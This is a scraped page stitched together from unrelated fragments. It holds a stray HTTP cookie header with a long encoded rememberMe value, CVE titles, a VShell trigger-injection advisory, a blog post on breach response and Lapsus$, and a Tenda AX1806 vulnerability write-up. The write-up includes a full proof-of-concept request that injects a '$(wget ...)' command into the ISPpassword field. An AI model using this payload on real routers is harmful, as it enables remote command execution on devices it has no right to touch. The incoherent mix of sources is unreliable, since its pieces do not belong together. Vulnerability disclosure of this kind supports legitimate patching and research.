    Cookie: JSESSIONID=AAF6841C2E815174E1AF5498DBEDD12F; rememberMe=d56VV14gjxKRUu7SYYOTuOS8X48lfVhblbN4aL/wCBkaL805vU01qmEfZCk2PpqohqQ4bUuxyGvEzVrXqlVgeKFxrQHcgxhKPbzopVs4p5ftVg3+jnz3WkOHLrycrJKOVR+peOYM+3bbysPywLp/w/PGdFU0+ooXhCJbO8qMeXvR6U6RSTOOnvBq/P9ySYdwnqt0uIywoCNv8hE6gAgnhZUt4PBYLlZ4EekzFyLDqKJXJ5sOUuzR8/fPGjOoVzMydW3EIFJ0f2i59RQJe4fsx6i1NlnR1C9muMEaDUqj70Ec+M50tjnStsJNPCrSYzl2+KMzPXpoBS1DWCpURi5/ZCBp/FahWwnJZ6cA0owYZC9dXNC1b1FQoC2fIO5SPcNtEyySdD6c6BnA9Leei5iYTEIkPKHIw1oQhF7voRadkfW40ZmdPUTot5Gd8g7pDqpNNd/sig45EQtGqeXWwP45T2BcE1OKkPC9D+ELtqQSzOWcu7GUQkJ7jsECXu+ghoq/uihlh5Xdx1a8H8hhznmpJJd3hK2W+fy1IBAiH4GzkhQbepycUPqxD0t+ufNTFN5B0upouiyMiHSLejjdIkCl325p4rLi8TchVRxsKS0/Z9PflifFvaauQoTalNDa+vZXYvBrnVjXyRl3cUn4HPzTPBVNpXqnHPxf1jNtxtJKL09szd3OMRABDyIvL+T0JHl8pskKjEo80luOEP5f+ta2TW1XutmZJupbr6d97mfeRE9GDIYWFuHafXkh5uSBTkauPpQA7x25vhs1BjU5OVZ2ipfcPvH6WaPCcBJYM8Vqyd6g+5mdpsw7Hb27LcGxFo9dE39pBNjy8+1q6QqIojSfTRLfz1f/wGKgdOqy3x9z2+0SYi+irxF52r7FQgBZtTcGUu+1WPJJQEmG3BnUAkI7hpG1BmmjeHjDRgnOvA+L1LugHVQUYNN/Z8XzahHcDkNHr54/WXeQP56p0LC/E/D+XMCOSxCYkYnZdboRABf4Hwj+THJSTp+ZRsFjrZt27WWhJtDfGTgahpJLPioFUT/3HCnZKz529Ia9R1dTMHaKlxYrxf04GvgNCiFmslLqZX+9RlZizYNXCLRKECj83ovRCFJP5Ofg9SK+fNKNruL4uW5U4B+vLEuLhxCv7BzGFpjjciIOh8z6ypCQJDkuYUv/rffs0F1ngGI8TdAKhFxMnVbyUplk0+cYVQaBx1JTablsA+VgSl8n8+qhDoNA44TBg4OsrTaSMhcCha5b7OwczozSFDvJOR15GXgIKbJOTGSAJ5JhFFeQhkmpVWOGC4d9KdmHl6KUIOyB8DtO2ZU/XpTPbvFQGLvyyo1t7dPrvzHqG9LYmoQAcye6278=
    Connection: close

CVE-2022-27466: MCMS 5.2.7 SQLI · Issue #90 · ming-soft/MCMS

Improper sanitization of trigger action scripts in VanDyke Software VShell for Windows v4.6.2 allows attackers to execute arbitrary code via a crafted value.

**Security Advisory****VanDyke Software VShell for Windows Remote Execution via Triggers**

Risk assessment: Medium

Posted: February 1, 2022

**Description**

> When a trigger action was configured to run a script, a user could use a maliciously crafted value that would be passed to the trigger and cause an arbitrary command to be launched on the VShell host machine.

**Products Not Affected**

*   VShell for Windows: versions 4.6.3 and newer
*   VShell for Unix, Linux, and Mac: all versions

**Products Affected**

*   VShell for Windows: versions 4.6.2 and earlier

**Recommended Solution**

> Upgrade to VShell 4.6.3 or newer on Windows

**Vulnerability Fix Downloads**

**Revision History**

> February 1, 2022 – Security Advisory Published

CVE-2022-28054: Security Advisory - February 2022

Breaches can happen to anyone, but a well-oiled machine can internally manage and externally remediate in a way that won't lead to extensive damage to a company's bottom line. (Part 1 of a series.)

Wise security professionals understand that threat actors aren't sitting still, and they aren't playing by the same rules as old-school groups. Lapsus$, for example, is gaining notoriety for its unpredictable behavior, using tactics like extortion and bribing insiders for initial access. It has left even the most experienced security pros scratching their heads.

When you find your organization has been breached, will you be scrambling to figure out your security incident response and remediation plan when your team can't think straight, or will your response be as simple as muscle memory? To minimize the damage done when a security incident occurs, it's important to look inward.

**Keep a Tight Ship  
**I would never dare promise to "eliminate cyber threats," but I can provide strong recommendations to improve internal security. Analyzing some of the latest Lapsus$ victims, we can learn a few things.

First, **_credential security is imperative._** Sooner or later, a threat actor will compromise credentials in your organization. It's not realistic for a business to expect all employees to refuse extortion attempts at all costs. Understanding this reality turns the impossible task into a practical solution.

Security teams should shift their focus from purely _preventing_ credential compromise to _tracking_ user behavior so that anomalies can be quickly identified and acted upon.

Lastly, when discussing the Lapsus$ incidents and others like them that are using extortion and bribery to initiate entry, we must discuss the importance of cybersecurity awareness and insider threat training. Many organizations have put some level of end-user security training into practice. But clearly, that isn't enough to stop novel threat groups from breaching the last line of defense.

**Managing Third-Party Companies  
**Organizations can't prepare their own privacy and security practices in a vacuum — we all depend on a large network of products and services to do our jobs.

Repeat after me: _Anyone (or any organization) could easily be a victim of a third-party incident._

If you were to assess the privileges of each of your third-party solutions, would you be proud of what you found? Chances are, there are weak spots in access protocols. Your third-party solutions likely have access to things they shouldn't. Your contractual agreements probably aren't bulletproof either.

While it's important to factor in the balance of manageable risk with return on investment, it's also essential to foster a collaborative yet vigilant relationship with all of your external parties. It's about defining a clear contract with vendors that involves security early on, focusing on shared responsibilities for security, good architecture, and timely communication.

**Check on Cybersecurity Checklists  
**Creating a cybersecurity checklist should be a requirement to do business with any third party. The checklist should include (but is not limited to): thoroughly vetting vendors' privacy and security standards; adding terms and conditions within your contract to address what would happen in the case of an outage and the costs each party would incur; and contingency plans for employees who may depend on technology or software solutions to do their jobs. Take a similar approach whenever your organization is involved in any type of M&A activity, as the risks apply to those scenarios as well.

There will always be risks associated with third-party solutions, but living in a bubble isn't realistic. Managing this risk by having visibility and security capabilities across the entire security incident response life cycle must be the endgame.

**Communicating Gaps  
**Organizations experiencing a security incident must not hide behind a third party and shouldn't blame their employees. They also must not allow lawyers to create smokescreens around what happened. This helps no one in the long term and only saves face until it doesn't anymore.

Communication around current vulnerabilities and threats is constantly flowing in healthy, well-prepared organizations. As a security practitioner, you should be proactive in how you communicate with leadership. It's extremely effective to manage up by sending a notice to leadership about a new breach or vulnerability with your insight added. Security analysts can offer value by proactively showing that they've already checked "XYZ" and that they're running automated queries for indicators of compromise, etc. They can forward that to their CISO for that person to share upward. CISO/SOC leadership can then take action to fill that gap.

Additionally, when a security incident occurs, security analysts should feel comfortable saying "we didn't have the capabilities to identify this incident." Effective operations require reflection on your own security incidents and thought experiments with other shared problems in the security community. Be honest and document everything. From there, they can use these proof points to work with leadership and fill in the gaps.

**Culture Is Key  
**No one with a straight face can deny the importance of security culture when it comes to keeping a tight ship, managing third-party security, and mastering internal communication. Culture weaves through it all. Motivated employees with excellent support from their team members and leadership are less likely to make errors and are also less likely to turn around and give information to a cybercriminal when faced with the temptation of shiny rewards or, worse, revenge.

Fostering a culture of open communication (as opposed to fear of making a mistake) will help your security analysts feel like they can talk to leadership about what gaps need to be filled to properly do their jobs and minimize the impact of future breaches.

Security incidents will happen to everyone, but a well-oiled machine can internally manage and externally remediate in a way that won't lead to extensive damage to a company's bottom line. Many companies are overwhelmed with just the thought of a breach happening — imagine how they panic when a breach actually occurs.

_Stay tuned for Part 2 later this week, which will provide advice on handling the public's response after an incident._

Security Stuff Happens: What Do You Do When It Hits the Fan?

Tenda AX1806 v1.0.0.1 was discovered to contain a command injection vulnerability in `SetIPv6Status` function

**Tenda AX18 v1.0.0.1 has a commend injection vulnerability****Overview**

*   **Type**: command injection vulnerability
*   **Vendor**: Tenda (https://tenda.com.cn)
*   **Products**: WiFi Router AX1806 v1.0.0.1 and AX1803 v1.0.0.1
*   **Firmware download address:** https://tenda.com.cn/download/detail-3225.html
*   **Firmware download address:** https://www.tenda.com.cn/product/download/AX1806.html

**Description****1.Product Information:**

Tenda AX1806 v1.0.0.1 and AX1803 v1.0.0.1 router, the latest version of simulation overview：

**2\. Vulnerability details**

Tenda AX1806 and AX1803 was discovered to contain a command injection vulnerability in SetIPv6Status function

When we set connect type = PPPoE we will get a command injection vulnerability after login.

**3\. Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/setIPv6Status HTTP/1.1
    Host: 192.168.2.1
    Connection: close
    Content-Length: 191
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
    sec-ch-ua-platform: "macOS"
    Origin: https://192.168.2.1
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://192.168.2.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: password=edeff4d6d98974e46457a587e2e724a2ndy5gk
    
    IPv6En=1&conType=PPPoE&ISPusername=addasdas&ISPpassword=$(wget http://192.168.2.2:9999/)&prefixDelegate=0&wanAddr=%2F&gateWay=&lanType=undefined&wanPreDNS=&wanAltDNS=&lanPrefix=undefined%2F64

Tag

#mac